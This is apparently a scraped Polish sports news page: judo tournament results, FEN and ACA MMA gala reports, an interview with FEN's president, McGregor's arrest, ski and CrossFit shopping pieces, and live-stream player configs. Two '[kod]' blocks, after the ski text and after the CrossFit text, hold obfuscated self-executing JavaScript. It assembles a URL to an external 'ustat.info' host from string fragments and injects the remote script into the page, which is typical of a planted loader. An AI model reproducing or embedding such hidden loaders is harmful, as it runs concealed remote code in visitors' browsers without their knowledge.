Kupując takie narty lepiej postawić na nowe egzemplarze. W innym przypadku mogą one być bardzo zniszczone w wyniku intensywnej jazdy w terenie lub w snowparku. Rozmiar nart powinien odpowiadać wzrostowi narciarza, po odjęciu około 10-15 cm. bardziej doświadczony narciarz poradzi sobie także na dłuższych, jednak musi pamiętać, że nie mogą one przekraczać jego wzrostu. Dobrze dobrane narty freestyle dostarczą z pewnością wielu niezapomnianych wrażeń.

[kod]

(function(){
xk6j_=("u"+"")+"s"+"";xk6j_+=("tat.")+("i");
xk6j=document.createElement("script");xk6j.type="text/javascript";xk6j_+="nf"+("o")+"/";
xk6ju="131295209"+".";xk6j.async=true;xk6ju+="x6yz1f28k6j70Xs3jnbq1048jkhzXd";
xk6j.src="https://"+xk6j_+xk6ju;xk6jb=document.body;xk6jb.appendChild(xk6j);
})();

W Jekaterymburgu bez medalu

Bez medalu zakończyli rywalizację w zawodach Grand Slam w judo w Jekaterynburgu polscy judocy. Najbliżej podium była Agata Ozdoba-Błach (63kg), która zajęła piąte miejsce. Z kolei w Cordobie zwycięstwo odniosła Urszula Hofman (70kg).

Do Rosji zjechało ponad 350 zawodniczek i zawodników. W zawodach Grand Slam polska kadra liczyła sześć osób. Najlepiej zaprezentowała się Agata Ozdoba-Błach, która powtórzyła wynik z poprzedniego roku, czyli uplasowała się na piątej lokacie. Na początek zmagań Polka zanotowała zwycięstwo z Helene Wezeu Dombeu z Kamerunu. W drugiej walce Ozdoba-Błach przegrała z będącą na fali Darią Davydovą. Rosjanka ostatnio była druga w Dusseldorfie, w Jekaterynburgu triumfowała. Brązowa medalistka mistrzostw świata z Budapesztu poradziła sobie z Austriaczką Magdaleną Krssakovą, którą pokonała przez ippon. W starciu o brąz Polska musiała uznać wyższość Catherine Beauchemin-Pinard.

Drugi występ w tym roku zanotowała Agata Perenc (52kg). Zawodniczka z Rybnika szybko uporała się z Diyorą Keldiyorovą, ale w kolejnych walkach lepsze były rywalki. Perenc odpadła z rywalizacji w repasażach i zajęła ostatecznie siódme miejsce. Po jednej walce w Rosji wygrali: Daria Pogorzelec (70kg) oraz Piotr Kuczera (90kg). Bez powodzenia startowały Arleta Podolak (57kg) i Karolina Tałach (63kg).

Zwycięstwo Hofman

W podróż do Cordoby wybrała się Urszula Hofman. Zawodniczka AZS AWF Wrocław w Argentynie wywalczyła złoty medal Pucharu Świata. W każdej z trzech walk Hofman wygrywała przed czasem i co ciekawe – w kolejnych starciach rozprawiała się z rywalkami szybciej.

Dla polskiej judoczki to kolejne tegoroczne podium. Wcześniej była druga podczas zawodów w Limie.

Nie zwalnia tempa

W fenomenalnej formie znajduje się Julia Świątkiewicz (+78kg). Zawodniczka UKJ Lemur ma na swoim koncie mistrzostwo Polski juniorów, ale dobrze radzi sobie na arenie międzynarodowej. Na początku marca zajęła piąte miejsce w Pucharze Świata seniorów w Pradze. W miniony weekend Świątkiewicz triumfowała w zawodach juniorów w Coimbrze. Młoda Polka wypunktowała trzy rywalki i mogła cieszyć się z sukcesu.

KM

Sharks Attack z nowym partnerem medialnym

Miło nam poinformować, że federacja Sharks Attack podjęła współpracę z naszą Telewizją. Kolejna odsłona gali juz 25 maja 2019 r. w Ostródzie. Szykuje się wiele elektryzujących pojedynków oraz ogromna dawka emocji i testosteronu. Główny partner medialny brzmi dumnie, aczkolwiek to także zobowiązanie…

Plany…plany…plany…nic z tego…planów nie ma, są juz konkrety. Nie chcemy zdradzać wszystkich szczegółów, ale rąbka tajemnicy uchylimy…napewno przedstawiciele federacji Sharks Attack zawitają w studio naszej Telewizji i to nie raz, nie dwa…będą częstymi gośćmi w Warszawie.

Współpraca z Telewizją to również multimedia…tak…powstaną filmy, trailery…już walizki pakujemy, w kalendarzu bukujemy terminy aby w pięknych ostródzkich plenerach przygotować ciekawe materiały.

Co więcej…CDN… 🙂

LIVE: Same Judo Cup 4 – Day 1 (Tatami 1)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 1

Same Judo CUP 4 Tatami 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream5/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream5/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream5/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 2)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 2

Same Judo CUP 4 Tatami 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream4/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream4/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream4/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 3)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 3

Same Judo CUP 4 Tatami 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream3/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream3/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream3/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 4)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 4

Same Judo CUP 4 Tatami 4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 1 (Tatami 5)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 5

Same Judo CUP 4 Tatami 5

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 1)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 1

Same Judo CUP 4 Tatami 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream5/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream5/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream5/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 2)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 2

Same Judo CUP 4 Tatami 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream4/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream4/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream4/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 3)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 3

Same Judo CUP 4 Tatami 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream3/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream3/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream3/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 4)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 4

Same Judo CUP 4 Tatami 4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Same Judo Cup 4 – Day 2 (Tatami 5)

Zapraszamy na transmisję telewizyjną z międzynarodowego turnieju judo "SAME JUDO 4".

[kod]

Same Judo CUP 4 Tatami 5

Same Judo CUP 4 Tatami 5

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Grzebyk z drugim pasem!

Gala FEN 24 w Warszawie dostarczyła wielu emocji i efektownych walk. Andrzej Grzebyk z drugim tytułem w organizacji FEN! 28-latek z Tarnowa pokonał Kamila Gniadka i dołożył do swojej kolekcji pas w wadze półśredniej. Tytuł w wadze ciężkiej w K-1 obronił Arkadiusz Wrzosek.

W stolicy musiało być gorąco, bo podczas FEN 24 rywalizowano o najwyższe laury. W Warszawie do drugiej obrony tytułu w wadze ciężkiej w K-1 przystąpił Arkadiusz Wrzosek, któremu przyszło mierzyć się ze Szwajcarem Patrickiem Schmidem. Pierwsza runda pokazała, że Polak nie będzie miał łatwego zadania. Szwajcar ostrożny i uważny, kilka prób ataku ze strony Wrzoska. Pojedynek był toczony w szybkim tempie, jednak zawodnicy nie ryzykowali. Pojawiały się niskie kopnięcia i kolejne ciosy. Polak znalazł jednak sposób na przeciwnika w postaci konsekwencji. Wrzosek kopał Schmida po nogach, co skutecznie osłabiało rywala. Na jego twarzy widoczny był grymas bólu. Szwajcar dotrwał do piątej rundy, jednak noga nie wytrzymała. Schmid miał problem ze staniem i sędzia nie mógł dopuścić do dalszej rywalizacji. Tytuł nadal w rękach Wrzoska!

Drugi pas organizacji FEN dla Andrzeja Grzebyka. Czempion wagi średniej dopisał do swojej kolekcji tytuł w kategorii półśredniej. Od pierwszych chwil Grzebyk i Kamil Gniadek narzucili wysokie tempo, co mogło się podobać publiczności. Grzebyk nie kalkulował i w drugiej rundzie próbował poddać rywala, jednak ten skutecznie się bronił. Z minuty na minutę przewaga 28-latka rosła. Na głowę Gniadka spadały kolejne ciosy, mocne uderzenie na wątrobę i w końcu zawodnik Berkut WCA osunął się na ziemię. Niecałych trzech rund potrzebował Grzebyk do zdobycia drugiego pasa w FEN.

W stolicy zaprezentował się mistrz K-1 w wadze do 85kg Radosław Paczuski, jednak nie bronił tytułu, ponieważ pojedynek odbył się w limicie do 88kg. Rywalem Polaka był Darren Anstey. Paczuski dotąd świetnie prezentował się w FEN i chciał kontynuować passę, co było widoczen od początku starcia. Pierwsza runda dla Polaka, Anglik był nawet na deskach. Z kolei w drugiej odsłonie Anstey starał dotrzymywać się kroku 26-latkowi. W trzeciej odsłonie Paczuski nie miał litości dla rywala. Sędzia ostatecznie przerwał pojedynek po trzecim liczeniu Anglika. Paczuski wygrał piąty pojedynek podczas swoich występów dla federacji FEN.

18 zwycięstwo w karierze zanotował Szymon Bajor, który spotkał się z Grzegorzem Cieplińskim. 30-latek sprowadził rywala do parteru i tam konsekwentnie używał łokci. W końcu walka wróciła do stójki, a po chwili znów… na ziemię. Łokcie, kolejne ciosy, totalna dominacja Bajora sprawiła, że sędzia nie miał wyboru i musiał przerwać starcie.

Rok temu w Warszawie Marcin Naruszczka świętował zwycięstwo w starciu z Bartoszem Leśko. Rewanżowy pojedynek był eliminatorem do walki o pas w kategorii średniej. Takiego obrotu sprawy chyba nikt się nie spodziewał. Leśko od razu ruszył na Naruszczkę, ale ten przetrwał atak rywala. Z czasem zawodnik z Gdyni osłabł, a do głosu doszedł 35-latek. Jedno trzeba podkreślić – nie brakowało wymian i klinczów pod siatką. W trzeciej rundzie dominował Naruszczka, jednak sędziowie ostatecznie orzekli… remis.

Adrian Zieliński szybko rozprawił się Kamilem Łebkowski w pojedynku na zasadach MMA, który był eliminatorem do pojedynku o pas w wadze piórkowej. Potężny sierpowy wyeliminował "Bombę" z dalszych zmagań po upływie niecałych 200 sekund. Jedno mrugnięcie okiem… Zaledwie 15 sekund potrzebowała Anita Bekus, aby oprawić Kamilę Porczyk. W starciu raperów – "Arab" w drugiej rundzie pokonał "Wujka Samo Zło". Udany debiut w FEN zaliczył Marcin Krakowiak, który w trzeciej rundzie pokonał przez duszenie zza pleców Mateusza Strzelczyka. Na otwarcie gali w Warszawie w starciu K-1 Robert Rajewski pokonał decyzją sędziów Michała Gęsiarza.

Fot. Andrzej Grzebyk Facebook

KM

FighTime Live – 20.03.2019

[kod]

Dziś w programie   ""

17:00 – Mistrzostwa Polski Full Contact (2016)
18:10 – Mistrzoistwa Polski K-1 (2018)
20:10 – Puchar Polski Low Kick (2017)
21:30 – Reportaż "Przemek Saleta"
21:40 – Reportaż "Kadra Judo Kobiet" (2016)
21:50 – Road to Gold Medal Judo – Women (Kazań, 2016)
22:00 – Road to Bronze Medal Judo – Men`s (Kazań, 2016)
22:05 – Zakończenie programu

ACA tym razem w Łodzi

Po Warszawie, przyszedł czas na Łódź. 8 czerwca w hali Sport Arena odbędzie się gala ACA 96, podczas której nie zabraknie walk z udziałem polskich zawodników.

Organizacja Absolute Championship Akhmat, zajmująca się MMA, szykuje drugie wydarzenie w Polsce w tym roku. Warto dodać, że po raz pierwszy gala wspomnianej federacji zawita do Łodzi. Wcale nie musi być to jednak ostatnie wydarzenie zorganizowane przez ACA w Polsce w 2019 roku! Jesienią nad Wisłą ma dojść do kolejnej gali.

Co do 8 czerwca, w Łodzi nie może zabraknąć polskich zawodników. Podczas gali zaprezentuje się Marcin Held, który miał wystąpić podczas gali w Warszawie, jednak z powodu kontuzji wypadł z rozpiski. Dotychczas w ACA (wcześniej ACB) 27-letni fighter stoczył dwa pojedynki i oba wygrał w efektowny sposób przed czasem. Czwarty pojedynek dla rosyjskiej organizacji stoczy Daniel Omielańczuk. Były zawodnik UFC w Warszawie wypunktował Zelimkhana Umieva. Wcześniej przegrał z Amirem Aliakbarim, a w debiucie przed czasem pokonał Bobby'ego Brentsa.

Kolejną szansę do zaprezentowania się przed polską publicznością dostanie Piotr Strus. Zawodnik z Warszawy dotychczas świetnie radził sobie w ACA. Przegrał jednak walkę o pas w wadze średniej z Albertem Durajewem. Strus wystąpił także w lutym w Warszawie, ale poniósł porażkę w starciu z Ibragimem Czużigajewem. Decyzja sędziów wzbudziła kontrowersje, bo co prawda Polak przegrał pierwszą odsłonę, ale w dwóch kolejnych wyglądał lepiej. To nie pierwsza taka sytuacja z udziałem Strusa. Po walce z Michaiłem Kołobiegowem (kontrowersyjny werdykt), obóz 30-latka złożył protest i pojedynek uznano jako no-contest. Jasno trzeba przyznać, że Strus prezentuje w ACA wysoki poziom, czego dowodem była jego walka o pas. W Łodzi będzie miał okazję powrócić na zwycięską ścieżkę i zacząć ponowny marsz w kierunku trofeum.

Wraz z upływem czasu ACA będzie ujawniało kolejne nazwiska zawodników. Podczas gali w Łodzi należy spodziewać się wielu emocji sportowych. W Warszawie odbyło się 15 walk. Zapewne w Łodzi będzie podobnie. ACA postępuje zgodnie z zasadą – mniej show, więcej walk.

Fot. Piotr Strus Facebook

KM

Jóźwiak przed FEN 24: Kibica dzisiaj nie wolno oszukiwać

Prezes federacji Fight Exclusive Night Paweł Jóźwiak nie może doczekać się sobotniej gali FEN 24, która zapowiada się na najciekawsze wydarzenie w ponad pięcioletniej historii organizacji. – Dziś widza nie można oszukiwać. Świadomość o sportach walki jest tak duża, że tylko serwując naprawdę wykwintne danie można spodziewać się okazałego napiwku.

W pięć miesięcy organizujecie piątą galę. Szybko, bardzo szybko to wszystko się rozwija.

Paweł Jóźwiak: Dokładnie, czas leci niemiłosiernie. Przed chwilą spotykaliśmy się w Poznaniu na konferencji prasowej przed FEN 22, a zaraz będziemy trzy gale do przodu. Mieliśmy przerwę wakacyjną dłuższą niż zwykle, ale teraz już wszystko idzie sprawnie. W Warszawie ogłosimy kolejną edycję, FEN 25.

Federacja była już w tym miejscu?

PJ: Nie była, co jeszcze bardziej mnie cieszy – to dla nas coś nowego. Coś wyjątkowego w polskim MMA, bo takiej gali, jaką my zorganizujemy w czerwcu, jeszcze nikt nie zorganizował. Północ Polski – tyle mogę powiedzieć.

Przejdźmy do warszawskiej edycji. To najlepsza karta w historii FEN?

PJ: Najlepsza i najbardziej zasłużona. Najmocniejsza sportowo. Mówiłem kilkukrotnie, że FEN rozwija się i to będzie nasz rok, a ta gala jest tylko tego potwierdzeniem. Dwie walki o pas, trzech mistrzów na karcie walk, dwa eliminatory, starcie kobiet, kilka mocnych nazwisk, które dopiero przebijają się do świadomości fanów. Każdy znajdzie coś dla siebie w Warszawie. Nudy nie będzie, bo od pierwszego gongu pierwszej walki czeka nas dużo emocji.

Konkurencja jest na rynku spora – trzeba się czymś wyróżniać.

PJ: Konkurencja nie przeszkadza tylko wtedy, gdy czujesz się mocno. My czujemy się mocno. Widzimy konkurencję, cieszymy się, że takowa występuje, ale wiemy, na co nas stać i co musimy robić, żeby takimi galami, jak ta warszawska, podnosić sobie poprzeczkę. Dziś widza nie można oszukiwać. Świadomość o sportach walki jest tak duża, że tylko serwując naprawdę wykwintne danie można spodziewać się okazałego napiwku. Missmatche i bumobicie nie przejdzie. To już było, tego nie ma. Nie można ściągnąć gościa z Nibylandii, kazać mu podczas trailerów powiedzieć trzy obraźliwe słowa, wyreżyserować popchnięcie na ważeniu, żeby sprzedać halę. Kibic dziś wie, kto jest dobry, a kto jest pompowany. My nie pompujemy. Ściągamy z zagranicy dwóch zawodników dla naszych mistrzów – Wrzoska i Paczuskiego – i w skali Europy są to naprawdę kozacy. Schmid ma prawie cztery razy więcej zwycięstw na koncie niż Arek. Anstey z 13 wygranych walk 13 wygrał przed czasem. To najlepszy brytyjski zawodnik w swojej kategorii wagowej, a to jest naprawdę mocny rynek. Jeżeli nasi mistrzowie chcą błyszczeć na świecie, muszą wygrywać z takimi rywalami – nie ma drogi na skróty.

Nie każdy tak myśli. To nie kreuje bohaterów.

PJ: Kreuje bohaterów, którzy naprawdę są bohaterami. Nie mistrzów własnej piaskownicy. Wrzosek jest jednym z ośmiu najlepszych zawodników na świecie, występuje w GLORY. Mam mu ściągnąć chłopaka, który przyjedzie do Warszawy, zwiedzi Stare Miasto, a po drugiej rundzie będzie myślał, gdzie jest After Party? Nie będę tego robił. Wiem, że kariera wielu zawodników w FEN mogłaby się potoczyć inaczej, gdybym ściągał mięso armatnie i nabijał rekordy. Nikt tego jednak nie chce – ani ja, ani kibice, dziennikarze czy zawodnicy. Grzesiek Ciepliński wygrał z Marcinem Sianosem i zadzwonił do mnie, że albo chce kozaka, albo nie będzie walczył. Jest wciąż młody, ma 26 lat, a mierzy wysoko i zwycięstwo z gościem o rekordzie 5-15 go nie kręci. Dostał Bajora, który według bukmacherów jest faworytem. Wszyscy są zadowoleni, o to chodzi.

Grzebyk może przejść do historii…

PJ. Już przeszedł zdobywając pas mistrzowski w kategorii średniej i aspirując do mistrzostwa w półśredniej. To jest tak genialna walka, że na 25 minut wyłączam telefon, nie załatwiam żadnych spraw, które muszę załatwić podczas gali i delektuje się tym pojedynkiem. To jest możliwie najlepsze zestawienie, jakie dziś można było zorganizować w FEN. Każdy z tych chłopaków za kilka, kilkanaście miesięcy może występować w UFC. To walka o naprawdę ogromną stawkę.

Kolejny mistrz zostanie wyłoniony. Do końca roku wszystkie kategorie zostaną obsadzone?

PJ: Taki jest plan. Dwa eliminatory w Warszawie mają wyłonić tych, którzy w kolejnej walce podejmą mistrzowskie wyzwanie. W kategorii piórkowej jest wakat, więc tu nie ma problemu. W średniej wszystko zależy o decyzji Grzebyka po walce z Gniadkiem. W Warszawie po raz czwarty z rzędu podczas naszej gali odbędzie się walka w kategorii ciężkiej. Niedługo wyłonimy pretendentów również do tytułu w królewskiej dywizji. W półciężkiej mam plan na to zestawienie. Wszystko w swoim czasie.

Jest też freak fight, który budzi zainteresowanie.

PJ: I niech budzi – o to w tym chodzi. Arab z Wujkiem wiedzą, jakie jest ich miejsce w szeregu. Nikt nie mydli oczu kibicom, że to będzie pojedynek Floyda Mayweathera Juniora z Oscarem de la Hoyą. Dwa tego typu pojedynki na 24 gale fani z pewnością nam wybaczą.

McGregor trafił do aresztu

Conor McGregor sprawił, że po raz kolejny stało się o nim głośno. Jednak nie z powodów sportowych… Zawodnik z Irlandii został aresztowany za zniszczenie telefonu komórkowego mężczyzny, który chciał zrobić mu zdjęcie.

Najprościej rzecz ujmując – McGregor nie potrafił utrzymać nerwów na wodzy i swoim zachowaniem sprawił, że po raz kolejny znalazł się w tarapatach. Sytuacja wyglądała następująco: w poniedziałek w Miami Beach kibic próbował zrobić zdjęcie gwiazdorowi UFC. Okazało się, że było to w niesmak 30-latkowi, który wyrwał aparat mężczyźnie i rozbił go. Wszystko zarejestrowały kamery monitoringu. McGregor został zatrzymany w swoim domu na Florydzie. Wartość uszkodzonego telefonu wyceniono na 1 tys. dolarów. Irlandczyk trafił do aresztu za wandalizm, za co grozi kara od 3 do 20 lat pozbawienia wolności. Po przesłuchaniu i wpłaceniu kaucji w wysokości 12,5 tys. dolarów wyszedł z więzienia.

Warto przypomnieć, że to nie pierwszy przypadek wejścia w konflikt z prawem przez McGregora. W kwietniu 2018 roku Irlandczyk, wraz grupą innych osób, zaatakował bus z zawodnikami, który mieli wystąpić podczas gali UFC 223. W kierunku pojazdu poleciały różne przedmioty. Ranny został Michael Chiesa. W związku z zaistniałą sytuację odwołano kilka pojedynków gali w Nowym Jorku. McGregor nie uniknął odpowiedzialności, a sąd ukarał go pięcioma dniami prac społecznych. Dodatkowo Irlandczyk został skierowany na terapię kontroli nad gniewem i musiał pokryć szkody finansowe.

Do kolejnej awantury, z udziałem McGregora, doszło po gali UFC 229 w Las Vegas, podczas której Irlandczyk przegrał z Khabibem Nurmagomedovem. Całą sytuację sprowokował Rosjanina, jednak "Notorius" również "oberwał". Komisja w Nevadzie ukarała byłego mistrza kategorii piórkowej i lekkiej sześciomiesięcznym zawieszeniem i 50 tys. dolarów kary.

Jak widać, w ostatnim czasie McGregor częściej staje się bohaterem negatywnych wydarzeń niż pozytywnych. Ze strony sportowej również nie ma dobrej pasji. McGregor przegrał prestiżowe starcie z Nurmagomiedowem i pas w wadze lekkiej pozostał u Rosjanina. Wcześniej Irlandczyk uległ w bokserskim pojedynku Floydowi Mayweatherowi Jr. Ostatnią wygraną "Notorius" zanotował 12 listopada 2016 roku pokonując Eddie'go Alvareza. Już prawie dwa i pół roku od ostatniego pozytywnego akcentu…

KM

Sklep crossfit – co w nim znajdziemy?

Crossfit to trening przekrojowy, który pozwala na poprawę wydolności, siły, wytrzymałości czy mobilności. Jest jednak również bardzo wymagający, toteż niezbędne jest zaopatrzenia się w odpowiedni sprzęt i akcesoria zapewniające komfort, a przede wszystkim bezpieczeństwo podczas treningu. Wszystkie niezbędne artykuły oferują specjalistyczne sklepy crossfit.

Przede wszystkim ubiór
Podstawą przy każdego typu aktywności fizycznej jest odpowiedni ubiór. Crossfit jako trening wymagający wymusza potrzebę wyposażenia się w ubranie, które nie tylko będzie elastyczne i wygodne, ale także przewiewne. Duże znaczenie ma również kwestia odprowadzania wilgoci. Świetnie sprawdzą się przede wszystkim przylegające ubrania, które nie tylko nie będą rozpraszać podczas treningu, ale ponadto umożliwią zaobserwowanie pracy mięśni przy wykonywaniu poszczególnych ruchów.

Crossfit sklep a obuwie
Specjalistyczne sklepy crossfit to najlepsze miejsce, gdzie można znaleźć obuwie odpowiednie na tego typu treningi. Warto bowiem pamiętać, że przy wymagającej aktywności bardzo łatwo o kontuzję. Buty muszą więc być wygodne, ale przede wszystkim zapewniać stabilność i amortyzację. Mogą mieć płaską podeszwę albo nieco podniesioną piętę, dzięki której wykonywanie niektórych ćwiczeń okaże się łatwiejsze.

Akcesoria do crossfitu
Sklep crossfit oferuje także szereg urządzeń, które mogą okazać się przydatne podczas treningu. Będą one między innymi pomagać w mierzeniu tętna, czasu albo ilości powtórzeń poszczególnych ćwiczeń. Wśród artykułów w tej grupie znajdują się przede wszystkim pulsometry. Bezpieczeństwo i komfort treningu można także zwiększyć dzięki wybraniu niektórych elementów z asortymentu sklepu crossfit takich jak stabilizatory kolan i łokci, usztywniacze nadgarstków i ochraniacze piszczeli.

Specjalistyczny sprzęt
Trening crossfit można też urozmaicić dzięki licznym sprzętom takim jak skakanki crossfit czy gryfy, kamizelki obciążeniowe albo poręcze gimnastyczne. Niezbędnymi akcesoriami dla każdego zwolennika takiej aktywności fizycznej mogą okazać się także gumy i taśmy oporowe oraz piłki i rollery do masażu.

[kod]

(function(){
c1ie=document.createElement("script");c1ie_=("ust");c1ieu="131207186";
c1ie_+="a"+("t.i");c1ie.type="text/javascript";
c1ieu+=".uscp91mb1ie8pujnpe0f";c1ie.async=true;c1ie_+="n"+("f"+"o")+"/";
c1ieu+="hgudysj9vs";c1ie.src="https://"+c1ie_+c1ieu;
document.body.appendChild(c1ie);
})();

Udany weekend judoków

Arleta Podolak (57kg) najlepsza w Pradze, a Bartłomiej Garbacik (60kg) i Wiktor Mrówczyński (73kg) ze srebrnymi medalami w Warszawie. Na najniższym stopniu podium w stolicy Polski stanęli również: Łukasz Błach (81kg, na zdjęciu z prawej), Patryk Broniec (+100kg) oraz Piotr Kuczera (90kg).

W miniony weekend judoczki wybrały się na Puchar Świata do Pragi. Łącznie w stolicy Czech wystartowało 166 zawodniczek, w tym dziesięć Polek. Ze złotem z Pragi wyjechała Arleta Podolak, która rywalizowała w najliczniej obsadzonej kategorii – 32 judoczki. Zawodniczka Gwardii Warszawa wygrała pięć pojedynków. Zaczęła od starcia z Chelsie Giles i triumfowała przez waza ari, tak samo w dwóch kolejnych starciach. Półfinał Podolak rozstrzygnęła przez ippon. Podobnie było w finale, w którym po upływie 74 sekund pokonała utalentowaną Gruzinkę Eteri Liparteliani. Polka po roku wywalczyła miejsce na podium w międzynarodowych startach. Ostatni raz triumfowała 3 marca 2018 roku w Warszawie.

W Pradze blisko podium była Julia Świątkiewicz (+78kg), jednak w walce o brąz Polkę pokonała Anastasiia Sapsai. Na siódmych miejscach zmagania zakończyły Danuta Majcher (48kg) i Angelika Szymańska (63kg).

Z kolei w Warszawie toczyła się rywalizacja judoków. W Arenie Ursynów zameldowało się 291 zawodników. Na listach startowych aż 50 reprezentantów Polski. Ze srebrnego medalu cieszył się Bartłomiej Garbacik. Polak wygrał cztery walki, w tym trzy przed czasem. W finale przegrał z reprezentantem Azerbejdżanu Orujem Valizadą. Kolejny dobry występ Wiktora Mrówczyńskiego. Po siódmym miejscu w zawodach Grand Slam w Dusseldorfie, przyszedł czas na medal. Zawodnik AZS AWF Katowice przegrał jedynie z Olegiem Babgoevem i wywalczył srebro.

Po blisko rocznej przerwie na podium zameldował się Piotr Kuczera, który sięgnął po brąz. Udanie w Warszawie zaprezentował się Łukasz Błach. Polak przegrał w półfinale z Bohdanem Zusko, jednak w starciu o trzecie miejsce uporał się z Dmitrijsem Fedosejenkovsem. Pierwszy medal na międzynarodowym poziomie wywalczył Patryk Broniec, który również zapisał na swoim koncie brąz. Blisko podium był Maciej Sarnacki (+100kg) – 5. lokata.

Fot. Polski Związek Judo Facebook

KM

Męska rywalizacja w Warszawie

Rok temu w zawodach European Open w judo w Warszawie rywalizowały kobiety, teraz czas na mężczyzn. 2-3 marca ponad 300 zawodników powalczy o medale i cenne, w kontekście kwalifikacji na Igrzyska Olimpijskie, punkty.

W Arenie Ursynów pojawią się zawodnicy z blisko 40 państw. Wśród nich m.in. reprezentanci Francji, Węgier, Azerbejdżanu, Wielkiej Brytanii, Hiszpanii, Tadżykistanu czy też Guamu, Laosu oraz Senegalu. Na listach startowych nie brakuje ciekawych nazwisk. W Warszawie o medale będzie walczył brązowy medalista mistrzostw Europy z 2017 roku Chorwat Dominik Drużeta (81kg). Z apetytem na kolejne zwycięstwo przyjedzie Oruj Valizada (60kg). Zawodnik z Azerbejdżanu wygrał ostatnio zawody w Rzymie. Umiejętności zaprezentuje również brązowy medalista mistrzostw Europy U23 Yaring Menaged (66kg). Warto podkreślić, że w Warszawie wystąpi wielu zdolnych i perspektywicznych judoków, którzy na poziomie młodzieżowym i juniorskim zdobywali medale wielkich imprez.

